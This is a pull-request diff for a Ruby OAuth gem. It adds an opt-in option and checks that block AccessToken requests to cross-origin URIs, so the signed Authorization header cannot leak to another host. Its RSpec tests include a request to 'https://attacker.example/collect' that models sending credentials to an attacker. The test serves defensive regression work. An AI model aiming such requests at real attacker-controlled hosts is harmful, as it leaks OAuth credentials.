Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@ Please file a bug if you notice a violation of semantic versioning.
## [Unreleased]

### Added
- `access_token_cross_origin_requests` consumer option (default `false`): `AccessToken#request` now refuses an absolute service URI whose origin differs from the configured `:site`, raising `OAuth::Error`, so the signed OAuth `Authorization` header is not sent to a different host. Same-origin absolute URIs and relative paths are unaffected. Set the option to `true` to restore cross-origin service calls. [CWE-918]

- kettle-jem-template-20260720-001 - READMEs can now display configured
corporate sponsor logos.
Expand Down
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -167,6 +167,7 @@ Common options include:
- `:ca_file`, `:proxy`, `:debug_output` - Net::HTTP transport options.
- `:token_request_max_redirects` - Maximum redirects followed while requesting OAuth tokens. Defaults to `10`.
- `:token_request_cross_origin_redirects` - Whether token requests may follow redirects to a different scheme, host, or effective port. Defaults to `false`; only enable this when the provider's token endpoints intentionally redirect across origins.
- `:access_token_cross_origin_requests` - Whether `AccessToken` service calls (`#get`/`#post`/`#put`/`#patch`/`#delete`/`#head`) may target an absolute URI whose origin (scheme, host, or effective port) differs from `:site`. Defaults to `false`; a cross-origin absolute URI raises `OAuth::Error` because it would send the signed OAuth `Authorization` header to a different host (credential leak / SSRF). Enable this only when you intentionally call signed service endpoints on other origins, and never pass untrusted/user-supplied URLs to these methods.

This gem was originally extracted from @pelle's [oauth-plugin](https://github.com/pelle/oauth-plugin)
gem. After extraction that gem was made to depend on this gem.
Expand Down
31 changes: 26 additions & 5 deletions lib/oauth/consumer.rb
Original file line number Diff line number Diff line change
Expand Up @@ -94,7 +94,15 @@ class Consumer
# default. Cross-origin redirects can re-sign token requests for an
# attacker-controlled endpoint, so they require explicit opt-in.
token_request_max_redirects: 10,
token_request_cross_origin_redirects: false
token_request_cross_origin_redirects: false,

# AccessToken service calls (AccessToken#get/#post/...) may target an
# absolute URI. By default such a call is permitted only when it shares
# the configured site's origin (scheme, host, and port); a cross-origin
# absolute URI raises OAuth::Error, since it would send the signed OAuth
# Authorization header to a different host (credential leak / SSRF). Set
# this to true to allow calling service endpoints on other origins.
access_token_cross_origin_requests: false
}
)

Expand Down Expand Up @@ -373,12 +381,25 @@ def token_request_cross_origin_redirects?(request_options)
end

def token_request_cross_origin?(current_uri, redirected_uri)
current_uri.scheme.to_s.downcase != redirected_uri.scheme.to_s.downcase ||
current_uri.host.to_s.downcase != redirected_uri.host.to_s.downcase ||
token_request_effective_port(current_uri) != token_request_effective_port(redirected_uri)
cross_origin?(current_uri, redirected_uri)
end

def token_request_effective_port(uri)
# Whether the consumer permits AccessToken service calls to an absolute URI
# whose origin differs from the configured site. Off by default.
def access_token_cross_origin_requests?
!!options[:access_token_cross_origin_requests]
end

# True when the two URIs differ in scheme, host, or effective port. Used
# both for token-request redirect safety and for AccessToken service-call
# origin checks.
def cross_origin?(uri_a, uri_b)
uri_a.scheme.to_s.downcase != uri_b.scheme.to_s.downcase ||
uri_a.host.to_s.downcase != uri_b.host.to_s.downcase ||
effective_port(uri_a) != effective_port(uri_b)
end

def effective_port(uri)
return uri.port if uri.port
return 443 if uri.scheme == "https"

Expand Down
18 changes: 18 additions & 0 deletions lib/oauth/tokens/access_token.rb
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
# frozen_string_literal: true

require "oauth/errors"

module OAuth
# The Access Token is used for the actual "real" web service calls that you perform against the server
class AccessToken < ConsumerToken
Expand All @@ -9,6 +11,14 @@ def request(http_method, path, *arguments)
request_uri = URI.parse(path)
site_uri = consumer.uri
is_service_uri_different = request_uri.absolute? && request_uri != site_uri
if is_service_uri_different && consumer.cross_origin?(site_uri, request_uri) &&
!consumer.access_token_cross_origin_requests?
raise OAuth::Error,
"AccessToken request to cross-origin URI #{authority(request_uri)} is not permitted " \
"(configured site origin is #{authority(site_uri)}). Sending the signed OAuth Authorization " \
"header to a different origin can leak it or enable SSRF. Set the consumer option " \
"access_token_cross_origin_requests: true to allow service calls to other origins."
end
begin
consumer.uri(request_uri) if is_service_uri_different
@response = super
Expand Down Expand Up @@ -81,5 +91,13 @@ def patch(path, body = "", headers = {})
def delete(path, headers = {})
request(:delete, path, headers)
end

private

# scheme://host[:port] for an error message; URI::HTTP/HTTPS always
# resolve a port, so it renders whenever one is known.
def authority(uri)
"#{uri.scheme}://#{uri.host}#{":#{uri.port}" if uri.port}"
end
end
end
62 changes: 62 additions & 0 deletions spec/oauth/access_token_cross_origin_spec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
# frozen_string_literal: true

require "oauth/tokens/access_token"
require "oauth/consumer"

# Regression coverage for sending the signed OAuth Authorization header to an
# origin other than the configured :site (CWE-918). AccessToken#request must
# refuse a cross-origin absolute URI unless the consumer opts in.
RSpec.describe OAuth::AccessToken do
let(:consumer) { OAuth::Consumer.new("ckey", "csecret", site: "https://provider.example", **extra_options) }
let(:extra_options) { {} }
let(:token) { described_class.new(consumer, "token", "token_secret") }

# Stop before the network: raise from Consumer#request so we only assert which
# URI the request would have been sent to, never actually send one. The block
# form keeps the consumer.uri interpolation lazy, so the message reflects the
# URI at call time (after any same-origin/opted-in swap), not at stub time.
before do
allow(consumer).to receive(:request) { raise StandardError, "network reached: #{consumer.uri}" }
end

context "with the default configuration" do
it "refuses a cross-origin absolute URI before any request is made" do
expect { token.get("https://attacker.example/collect") }
.to raise_error(OAuth::Error, /cross-origin/)
end

it "refuses a same-host, different-port absolute URI" do
expect { token.get("https://provider.example:8443/api") }
.to raise_error(OAuth::Error, /cross-origin/)
end

it "refuses a same-host, different-scheme absolute URI" do
expect { token.get("http://provider.example/api") }
.to raise_error(OAuth::Error, /cross-origin/)
end

it "allows a same-origin absolute URI (reaches the request layer)" do
expect { token.get("https://provider.example/api/people") }
.to raise_error(StandardError, %r{network reached: https://provider\.example/api/people})
end

it "allows a relative path (reaches the request layer)" do
expect { token.get("/api/people") }
.to raise_error(StandardError, %r{network reached: https://provider\.example})
end

it "restores consumer.uri after refusing" do
expect { token.get("https://attacker.example/collect") }.to raise_error(OAuth::Error)
expect(consumer.uri.to_s).to eq("https://provider.example")
end
end

context "with access_token_cross_origin_requests enabled" do
let(:extra_options) { {access_token_cross_origin_requests: true} }

it "allows a cross-origin absolute URI (reaches the request layer)" do
expect { token.get("https://attacker.example/collect") }
.to raise_error(StandardError, %r{network reached: https://attacker\.example/collect})
end
end
end
Loading